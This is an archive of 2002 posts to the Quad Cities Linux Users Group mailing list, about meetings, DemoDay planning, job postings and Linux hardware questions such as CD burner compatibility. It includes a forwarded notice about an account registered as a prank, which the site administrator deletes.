Delivered-To: qclqclug@qclug.org Received: (qmail 30411 invoked by uid 1051); 14 Aug 2002 14:07:50 -0000 Received: from unknown (HELO fdpnmailgw3.mailgws.com) (192.43.65.231) by 0 with SMTP; 14 Aug 2002 14:07:50 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Subject: RE: [QCLUG] Good to be back Date: Wed, 14 Aug 2002 09:07:49 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 1144BBBC850408-01-02 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 14:07:50 -0000 Thank you very much Jerry. We hope to be back on the right track in the coming weeks.. Alexander C. Ortega Service ADVISOR(tm) Summer Support Team JDIS : John Deere Information Services (309) 765-2916 - Office > -----Original Message----- > From: Jerry Smith [SMTP:JSmith@sedonaesolutions.com] > Sent: Wednesday, August 14, 2002 9:07 AM > To: 'qclug@qclug.org' > Subject: [QCLUG] Good to be back > > I'm glad things are up and running again for the qclug! > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug From gentoo@mchsi.com Wed Aug 14 14:24:03 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30510 invoked by uid 1051); 14 Aug 2002 14:24:03 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 14 Aug 2002 14:24:03 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020814142403.DUFJ7903.sccmmhc02.mchsi.com@laptop> for ; Wed, 14 Aug 2002 14:24:03 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Meeting Notes Date: Wed, 14 Aug 2002 09:12:18 +0000 User-Agent: KMail/1.4.2 References: <01C24346.734E7AD0.jimbiehn@frontiernet.net> In-Reply-To: <01C24346.734E7AD0.jimbiehn@frontiernet.net> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208140912.18944.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 14:24:03 -0000 =09Dont worry about it, I'm pretty sure we are going to have a second mee= ting=20 day . the date and time will be announced soon hopefully so everyone can = make=20 it. But first we are trying to contact those that might not know that you= =20 have to resign up for mail / website so that more people would come. Demo= day=20 is coming up fast i think we should start a new thread in the mailing lis= t=20 for the demoday so we can get better organized . On Wednesday 14 August 2002 08:55 am, Jim Biehn wrote: > Sorry I did not make the meeting, worked till 4 AM today, I will get wi= th > someone to pass off some of this software (OpenLinux Server and > Workstation) let me know...........Jim > -----Original Message----- > From:=09Noah Justin Norris [SMTP:gentoo@mchsi.com] > Sent:=09Tuesday, August 13, 2002 4:25 PM > To:=09qclug@qclug.org > Subject:=09[QCLUG] Meeting Notes > > 6 people showed up > > Topics Discussed > =091. Haveing a second meeting. ( not many people showed up for us to > discuses the demo days ) > > =092. Ways to attract people to linux. ( GUI database setup and admin l= ike MS > (tm) access ) (Talked about frontends to databases) > > =093. Writing articals for a local newspaper on linux (reader) > > =094. Talked about linux / windows office suits. > > =095. Who has the Qclug banner ???. > > =096. Discused some basic thing about the demo day . (banner people wha= t is > everyone bringing what things are we Gona need ). > > =097. Talked about advertising demo day :) > > =09What can you do to make the lug better ? Also mentitioned having mul= tiple > meetings and having persentations agian . :) I brought my laptop which = was > running gentoo linux (only). And i will be bringing it with me for peop= le > to > write notes during the meeting , And for research . --=20 life is linux=20 linux is life=20 From gentoo@mchsi.com Wed Aug 14 14:47:17 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30621 invoked by uid 1051); 14 Aug 2002 14:47:17 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 14 Aug 2002 14:47:17 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020814144718.DYAM7903.sccmmhc02.mchsi.com@laptop> for ; Wed, 14 Aug 2002 14:47:18 +0000 Content-Type: text/plain; charset="us-ascii" From: Noah Justin Norris To: qclug@qclug.org Date: Wed, 14 Aug 2002 09:35:33 +0000 User-Agent: KMail/1.4.2 MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208140935.33373.gentoo@mchsi.com> Subject: [QCLUG] DemoDay X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 14:47:18 -0000 =09I will be going to demoday as long as i can get a ride from somone. =09I will bring 2 systems=20 =09=091. My 900 mhz athlon w/ working webcam(ibmcam), scanner (x6,hopeful= ly),=20 digatal camera (take pics of demoday , agfa 760c ) gentoo linux will be = on=20 this machine. =09=092. my laptop w/ gentoo linux installed (hopefully with the same usb= devices=20 working from above w/ a usb burner being extra :) =09 My focus will be on linux for desktop systems , hey thats what i use= it for=20 :) =20 We need to stay updated on whats everyone doing=20 status of demoday advertiting ? whats everyone bringing ? what equipment would we need ? (ie networking ) I'm sure there more to think about . Side note # if needed i have much networking stuff from hubs to ethernet = cards=20 and cable . I might even have a collection of wireless by then :) --=20 life is linux=20 linux is life=20 From OrtegaAlexC@JohnDeere.com Wed Aug 14 15:07:20 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30784 invoked by uid 1051); 14 Aug 2002 15:07:19 -0000 Received: from unknown (HELO fdpnmailgw4.mailgws.com) (192.43.65.232) by 0 with SMTP; 14 Aug 2002 15:07:19 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Date: Wed, 14 Aug 2002 10:07:15 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 1144ADA21905007-01-02 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit Subject: [QCLUG] Upcoming Meetings and more Information X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 15:07:20 -0000 The next two saturdays, August 17 and the 24th, we will be meeting in the food court of NorthPark Mall, right outside of Barnes and Noble, at 12:00 noon. We hope to have a large turn out and get some good ideas, and more information on what Linux hardware will be at the DemoDay, and what events will take place. On Friday August 30th, we will be hosting a SIGBAP/PAP (Special Interest Group Beer and Pizza/Pop and Pizza) at Charlies Pizza in Rock Island. If you are interested, please contact superdug@dugnet.com . More information can be located here http://qclug.org/modules.php?name=News&file=article&sid=4&mode=&order=0&thol d=0 Everyone have a good day. Alexander C. Ortega Service ADVISOR(tm) Summer Support Team JDIS : John Deere Information Services (309) 765-2916 - Office (After Friday August 16th, this number and address will be invalid, FYI) From gentoo@mchsi.com Wed Aug 14 15:37:34 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30951 invoked by uid 1051); 14 Aug 2002 15:37:34 -0000 Received: from unknown (HELO sccmmhc02.mchsi.com) (204.127.203.184) by 0 with SMTP; 14 Aug 2002 15:37:34 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc02.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020814153734.EHAZ7903.sccmmhc02.mchsi.com@laptop> for ; Wed, 14 Aug 2002 15:37:34 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] Good to be back Date: Wed, 14 Aug 2002 10:36:34 +0000 User-Agent: KMail/1.4.2 References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208141036.34200.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 15:37:34 -0000 welcome back :) On Wednesday 14 August 2002 02:06 pm, Jerry Smith wrote: > I'm glad things are up and running again for the qclug! > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From jsprague@netexpress.net Wed Aug 14 12:27:27 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 29943 invoked by uid 1051); 14 Aug 2002 12:27:27 -0000 Received: from unknown (HELO netexpress.net) (64.22.192.2) by 0 with SMTP; 14 Aug 2002 12:27:27 -0000 Received: from hal.netexpress.net (rsprague.netexpress.net [64.22.200.14]) by netexpress.net (8.11.3/8.11.3) with ESMTP id g7ECRRY09135 for ; Wed, 14 Aug 2002 07:27:27 -0500 X-Spam-Filter: check_local@netexpress.net by digitalanswers.org Message-Id: <5.1.1.6.0.20020814072447.009f0cd0@mail.netexpress.net> X-Sender: jsprague@mail.netexpress.net X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 Date: Wed, 14 Aug 2002 07:28:03 -0500 To: qclug@qclug.org From: Jon Sprague In-Reply-To: <20020710040853.GE1986@dodds.net> References: <20020708161819.GO13474@dodds.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Mailman-Approved-At: Wed, 14 Aug 2002 15:58:24 -0000 Subject: [QCLUG] Job Opening X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 12:27:28 -0000 Web Applications Developer The tools we use: PHP SQL XML XSL Call for an interview: 563-391-0230 From OrtegaAlexC@JohnDeere.com Wed Aug 14 13:05:42 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 30159 invoked by uid 1051); 14 Aug 2002 13:05:42 -0000 Received: from unknown (HELO fdpnmailgw2.mailgws.com) (192.43.65.86) by 0 with SMTP; 14 Aug 2002 13:05:42 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'baldy@mchsi.com'" , "'bowerod@winco.net'" , "'brandt@dusthimers.com'" , "'compgod@mchsi.com'" , "'dan@qlitech.net'" , "'dave@deelite.org'" , "'dave@kd0yu.com'" , "'dclearman@eservllc.com'" , "'deejoe@iastate.edu'" , "'exspecto@mchsi.com'" , "'gclark@essex1.com'" , "'gkubatska@hotmail.com'" , "'goddess@esotericbeccums.com'" , "'gray@cns.uni.edu'" , "'heitmanga@hotmail.com'" , "'hinkle@derbyworks.net'" , "'jjmoore1@aol.com'" , "'jsmith@sedonaesolutions.com'" , "'jsprague@netexpress.net'" , "'kentmurphy@hotmail.com'" , "'klown@revealed.net'" , "'lor1acs@revealed.net'" , "'mackstann@yahoo.com'" , "'maxamus@hackermail.com'" , "'mrmagnum@mchsi.com'" , "'mspy@revealed.net'" , "'nlb@iastate.edu'" , "'phreez@phreez.com'" , "'redcpu@machlink.com'" , "'repett0@cslab.uky.edu'" , "'robmohr@earthnet.net'" , "'saklevgard@aol.com'" , "'steingra@mc.net'" , "'taelir@email.com'" , "'tgeerts@uni.edu'" , "'tim.dugan@lee.net'" , "'tom.starbuck@paclimited.com'" , "'ts2261@geneseo.net'" , "'vorlon@netexpress.net'" , "'wahlmb@mchsi.com'" , "'youngqui@mu.org'" , "'badassdad75@hotmail.com'" , "'bill@dykema.org'" , "'binh45@hotmail.com'" , "'dork141@hotmail.com'" , "'gphappy@revealed.net'" , "'hale@netins.net'" , "'jasonn@netexpress.net'" , "'jpedley@revealed.net'" , "'jwn1234@hotmail.com'" , "'matts_spam_account@yahoo.com'" , "'mjefferson5@yahoo.com'" , "'robotwizard@att.net'" Date: Wed, 14 Aug 2002 08:05:31 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 11448A2F4569741-01-03 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Mailman-Approved-At: Wed, 14 Aug 2002 15:58:24 -0000 Subject: [QCLUG] QCLUG - Group, Meeting, And General Info X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 13:05:42 -0000 This is a General message to all those who who were subscribed to the QCLUG Mailing List prior to July 29th, 2002. The QCLUG web site is back up and running, as well as the mailing list. The old list has been discontinued. We welcome any and everyone to please re-subscribe to the list at http://www.qclug.org/modules.php?name=Mailing_List . There are some basic rules that must be followed, or you may run the risk of being suspended from the list. We are in the process of planning a DemoDay on September 21st, at Augustana College. And to help in this, we are going to be holding a few extra meetings in the coming weeks. The next two saturdays, August 17 and the 24th, we will be meeting in the food court of NorthPark Mall, right outside of Barnes and Noble, at 12:00 noon. We hope to have a large turn out and get some good ideas, and more information on what Linux hardware will be at the DemoDay, and what events will take place. On Friday August 30th, we will be hosting a SIGBAP/PAP (Special Interest Group Beer and Pizza/Pop and Pizza) at Charlies Pizza in Rock Island. If you are interested, please contact superdug@dugnet.com . More information can be located here http://qclug.org/modules.php?name=News&file=article&sid=4&mode=&order=0&thol d=0 . Again, I would love to welcome everyone back to the Quad Cities Linux Users Group. If anyone has any questions at all, please feel free to contact me. Alexander C. Ortega alex@insanelygood.com alex@dugnet.com ortegaalexc@johndeere.com(will be unavailable after Friday August 16th) (563) 508-2761 - Mobile From jsprague@netexpress.net Wed Aug 14 16:48:40 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 31422 invoked by uid 1051); 14 Aug 2002 16:48:40 -0000 Received: from unknown (HELO kandu.netexpress.net) (64.22.192.48) by 0 with SMTP; 14 Aug 2002 16:48:40 -0000 Received: by kandu.netexpress.net (Postfix, from userid 33) id D6A694A617F; Wed, 14 Aug 2002 11:48:40 -0500 (CDT) Received: from 63.102.218.178 ( [63.102.218.178]) as user jsprague@mail.netexpress.net by www.secureserver.com with HTTP; Wed, 14 Aug 2002 11:48:40 -0500 Message-ID: <1029343720.3d5a89e8af7a2@www.secureserver.com> Date: Wed, 14 Aug 2002 11:48:40 -0500 From: Ralph Sprague To: qclug@qclug.org MIME-Version: 1.0 Content-Type: text/plain; charset=windows-1252;q=1.0 Content-Transfer-Encoding: 8bit User-Agent: Internet Messaging Program (IMP) 3.1 X-Originating-IP: 63.102.218.178 Subject: [QCLUG] job opening X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 16:48:40 -0000 Web Application Developer Skills include but not limited to: PHP HTML SQL XML XSL Call to set up an interview, 8:30 a.m. to 5:00 p.m. 563-391-0230 From superdug@dugnet.com Wed Aug 14 21:12:57 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 770 invoked by uid 1051); 14 Aug 2002 21:12:57 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 14 Aug 2002 21:12:57 -0000 Received: (qmail 14351 invoked by uid 0); 14 Aug 2002 21:12:48 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 14 Aug 2002 21:12:48 -0000 Received: (qmail 30249 invoked by uid 0); 14 Aug 2002 21:12:45 -0000 Received: from unknown (HELO smtp.dugnet.com) (216.85.211.12) by dugnet.com with SMTP; 14 Aug 2002 21:12:45 -0000 Received: by smtp.dugnet.com (sSMTP sendmail emulation); Wed, 14 Aug 2002 17:12:45 -0400 Date: Wed, 14 Aug 2002 17:12:45 -0400 To: qclug@qclug.org From: superdug@dugnet.com User-Agent: Instant Web Mail 0.57 Content-Type: text/plain; charset="ISO-8859-1" Subject: [QCLUG] Fwd: User Password for AnonymousCoward X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 21:12:57 -0000 Cute ... I dunno who did this, but ummm ... don't?? Thanks, Doug PS - I didn't set this account up ... I just got this email today at 9:00 AM obviously ... PPS - Ray ... can you go ahead and delete this account?? ---------- Forwarded letter ---------- Subject: User Password for AnonymousCoward Date: 08-14-2002 09:09 am Sender: webmaster@qclug.org Recipient: superdug@dugnet.com Welcome to Quad-Cities Linux Users Group! You or someone else has used your email account (superdug@dugnet.com) to register an account at Quad-Cities Linux Users Group. Following is the member information: -Nickname: AnonymousCoward -Password: he33rchok From ray@qlilinux.com Wed Aug 14 21:21:02 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 838 invoked by uid 1051); 14 Aug 2002 21:21:02 -0000 Received: from unknown (HELO ?192.168.1.11?) (12.217.140.249) by 0 with SMTP; 14 Aug 2002 21:21:02 -0000 Subject: Re: [QCLUG] Fwd: User Password for AnonymousCoward From: Ray Sanders To: "qclug@qclug.org" In-Reply-To: <1029359976.4526.18.camel@tempe.qlitech.net> References: <1029359976.4526.18.camel@tempe.qlitech.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.7.99 Date: 14 Aug 2002 16:24:19 -0500 Message-Id: <1029360260.4545.19.camel@tempe.qlitech.net> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 21:21:03 -0000 On Wed, 2002-08-14 at 16:12, superdug@dugnet.com wrote: > Cute ... > > I dunno who did this, but ummm ... don't?? > > Thanks, > > Doug > > PS - I didn't set this account up ... I just got this email today at > 9:00 AM obviously ... > > PPS - Ray ... can you go ahead and delete this account?? Consider it deleted. DUnno what the password means in hax0r speak....... -- ===================================================== Ray Sanders - QliTech Linux Computers http://www.qlilinux.com - ray@qlilinux.com 1-877-24-LINUX (Toll Free - U.S.A and Canada) ===================================================== From redcpu@machlink.com Wed Aug 14 23:04:49 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1341 invoked by uid 1051); 14 Aug 2002 23:04:49 -0000 Received: from unknown (HELO server06.machlink.com) (66.207.0.2) by 0 with SMTP; 14 Aug 2002 23:04:49 -0000 Received: from shadow.machlink.com (cbl-dhcp-10-121.machlink.com [66.207.10.121]) by server06.machlink.com (8.12.2/8.12.2) with ESMTP id g7EMwnWt007842 for ; Wed, 14 Aug 2002 17:58:50 -0500 (CDT) From: Dan To: qclug@qclug.org Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 18:01:28 -0500 Message-Id: <1029366090.4768.1.camel@shadow> Mime-Version: 1.0 Subject: [QCLUG] Streaming Video X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Wed, 14 Aug 2002 23:04:49 -0000 I am looking for a streaming video program to use with my webcam I have a logitech 3000 pro web cam. Does any one have any ideas on what program I could try. I have looked at view but have not found anything useable yet. Thanks Dan J. From volunteer@revealed.net Thu Aug 15 02:57:31 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 1972 invoked by uid 1051); 15 Aug 2002 02:57:31 -0000 Received: from unknown (HELO ns.revealed.net) (205.243.76.2) by 0 with SMTP; 15 Aug 2002 02:57:31 -0000 Received: from revealed.net ([65.114.247.54]) by ns.revealed.net (Post.Office MTA v3.5.3 release 223 ID# 0-58799U8000L800S0V35) with ESMTP id net for ; Wed, 14 Aug 2002 21:57:17 -0500 Sender: volunteer Message-ID: <3D5B1904.20EB46A8@revealed.net> Date: Wed, 14 Aug 2002 21:59:16 -0500 From: Jim Hall X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.14-5.0 i586) X-Accept-Language: en MIME-Version: 1.0 To: qclug@qclug.org Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [QCLUG] CD burner X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 15 Aug 2002 02:57:31 -0000 I know someone who needs a CD burner. Based on your experiences, what are the most Linux compatible brands? Jim From redcpu@machlink.com Thu Aug 15 03:03:10 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2020 invoked by uid 1051); 15 Aug 2002 03:03:10 -0000 Received: from unknown (HELO server06.machlink.com) (66.207.0.2) by 0 with SMTP; 15 Aug 2002 03:03:10 -0000 Received: from shadow.machlink.com (cbl-dhcp-10-121.machlink.com [66.207.10.121]) by server06.machlink.com (8.12.2/8.12.2) with ESMTP id g7F2vBWt020127 for ; Wed, 14 Aug 2002 21:57:11 -0500 (CDT) Subject: Re: [QCLUG] CD burner From: Dan To: qclug@qclug.org In-Reply-To: <3D5B1904.20EB46A8@revealed.net> References: <3D5B1904.20EB46A8@revealed.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 14 Aug 2002 21:59:50 -0500 Message-Id: <1029380391.4769.17.camel@shadow> Mime-Version: 1.0 X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 15 Aug 2002 03:03:10 -0000 I have only had one. so I can't say but to make CD Burners work you need scsi emulation so if bus type isn't a problem buy any scsi one you can find. I would personally stay away from the usb ones especially if it is going to burn in linux. I am not a huge fan of usb. I would much rather see firewire pick up instead of usb. IMHO. Hope that helps. To get the burner running even if it is IDE you will need to set scsi emulation in the kernel I have been told it isn't hard but have never tried to setup a IDE burner in linux. Dan J. On Wed, 2002-08-14 at 21:59, Jim Hall wrote: > I know someone who needs a CD burner. Based on your experiences, what > are the most Linux compatible brands? > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug > From gentoo@mchsi.com Thu Aug 15 04:52:31 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 2651 invoked by uid 1051); 15 Aug 2002 04:52:31 -0000 Received: from unknown (HELO sccmmhc01.mchsi.com) (204.127.203.183) by 0 with SMTP; 15 Aug 2002 04:52:31 -0000 Received: from laptop ([12.217.84.119]) by sccmmhc01.mchsi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020815045215.IWQN23220.sccmmhc01.mchsi.com@laptop> for ; Thu, 15 Aug 2002 04:52:15 +0000 Content-Type: text/plain; charset="iso-8859-1" From: Noah Justin Norris To: qclug@qclug.org Subject: Re: [QCLUG] CD burner Date: Wed, 14 Aug 2002 23:50:46 +0000 User-Agent: KMail/1.4.2 References: <3D5B1904.20EB46A8@revealed.net> In-Reply-To: <3D5B1904.20EB46A8@revealed.net> MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Message-Id: <200208142350.46407.gentoo@mchsi.com> X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Thu, 15 Aug 2002 04:52:31 -0000 any i think mmc complient , optiwrite works great :) On Thursday 15 August 2002 02:59 am, Jim Hall wrote: > I know someone who needs a CD burner. Based on your experiences, what > are the most Linux compatible brands? > > Jim > _______________________________________________ > QCLUG mailing list > QCLUG@qclug.org > http://qclug.org/mailman/listinfo/qclug --=20 life is linux=20 linux is life=20 From JSmith@sedonaesolutions.com Fri Aug 16 14:08:21 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7191 invoked by uid 1051); 16 Aug 2002 14:08:21 -0000 Received: from unknown (HELO gabriel.sedonaesolutions.com) (63.97.64.194) by 0 with SMTP; 16 Aug 2002 14:08:21 -0000 Received: by GABRIEL with Internet Mail Service (5.5.2653.19) id ; Fri, 16 Aug 2002 09:08:22 -0500 Message-ID: From: Jerry Smith To: "'qclug@qclug.org'" Date: Fri, 16 Aug 2002 09:08:20 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [QCLUG] Sony SuperStation tape backup X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 16 Aug 2002 14:08:21 -0000 Does anyone have a Sony SuperStation tape backup working on their machine, with any OS? From superdug@dugnet.com Fri Aug 16 15:52:53 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7541 invoked by uid 1051); 16 Aug 2002 15:52:53 -0000 Received: from unknown (HELO pigwidgeon.iticom.net) (64.127.64.17) by 0 with SMTP; 16 Aug 2002 15:52:53 -0000 Received: (qmail 28850 invoked by uid 0); 16 Aug 2002 15:52:51 -0000 Received: from unknown (HELO frasier.iticom.net) (216.85.104.7) by owlsnest.iticom.net with SMTP; 16 Aug 2002 15:52:51 -0000 Received: (qmail 30333 invoked by uid 0); 16 Aug 2002 15:52:48 -0000 Received: from unknown (HELO superdug) (207.246.160.190) by dugnet.com with SMTP; 16 Aug 2002 15:52:48 -0000 From: "Doug Smith" To: Date: Fri, 16 Aug 2002 10:42:15 -0600 Message-ID: <001801c24543$e15562b0$bea0f6cf@dugnet.org> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Outlook, Build 10.0.2616 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 Importance: High Subject: [QCLUG] August 30th SIGBAP X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 16 Aug 2002 15:52:53 -0000 Well I have had ... ... No one RSVP ... So if anyone is interested I need to get a head count, I don't want to cancel this ... If anyone forgot :-) August 30th around 6:30 - 7:30 (start time will be confirmed when I confirm the table ...) we will be meeting at Charlie's Pizza in Rock Island for drinks and pizza. It's not free, but I figure we all throw in a few bucks it won't be real expensive either. So ... Does anyone want to go? Doug From OrtegaAlexC@JohnDeere.com Fri Aug 16 15:56:26 2002 Return-Path: Delivered-To: qclqclug@qclug.org Received: (qmail 7600 invoked by uid 1051); 16 Aug 2002 15:56:26 -0000 Received: from unknown (HELO fdpnmailgw3.mailgws.com) (192.43.65.231) by 0 with SMTP; 16 Aug 2002 15:56:26 -0000 X-Server-Uuid: 2d3b7162-db1d-11d3-b8ee-0008c7dfb6f1 Message-ID: From: "Ortega Alex C" To: "'qclug@qclug.org'" Subject: RE: [QCLUG] August 30th SIGBAP Date: Fri, 16 Aug 2002 10:56:25 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-WSS-ID: 1143FF251393049-01-02 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 7bit X-BeenThere: qclug@qclug.org X-Mailman-Version: 2.1b2 Precedence: bulk Reply-To: qclug@qclug.org List-Id: List-Post: List-Subscribe: , List-Unsubscribe: , List-Archive: List-Help: X-List-Received-Date: Fri, 16 Aug 2002 15:56:26 -0000 Yo... I RSVP for two people.... If i find out anymore, ill let you know... 7:00 or 7:30 might be a better time... Also remember that it is the First friday night Football game for Rocky and that Charlies is always crowded there on football fridays... They have an after game party there... Alexander C. Ortega Service ADVISOR(tm) Summer Support Team JDIS : John Deere Information Services (309) 765-2916 - Office ------ Computer - "Dude! Your computer is crashing..." Kid - "Mom!!!! Mom-"Yes hon?" Kid-"Did you install some memory from Dell?" ------ > -----Original Message----- > From: Doug Smith [SMTP:superdug@dugnet.com] > Sent: Friday, August 16, 2002 11:42 AM > To: qclug@qclug.org > Subject: [QCLUG] August 30th SIGBAP > Importance: High > > Well I have had ... > > ... No one RSVP ... So if anyone is interested I need to get a head > count, I don't want to cancel this ... > > If anyone forgot :-) > > August 30th around 6:30 - 7:30 (start time will be confirmed when I > confirm the table ...) we will be meeting at Charlie's Pizza in Rock > Island for drinks and pizza. It's not free, but I figure we all throw > in a few bucks it won't be real expensive either. > > So ... Does anyone want to go? > > Doug > > _______________________________________________ > QCLUG mailing list > 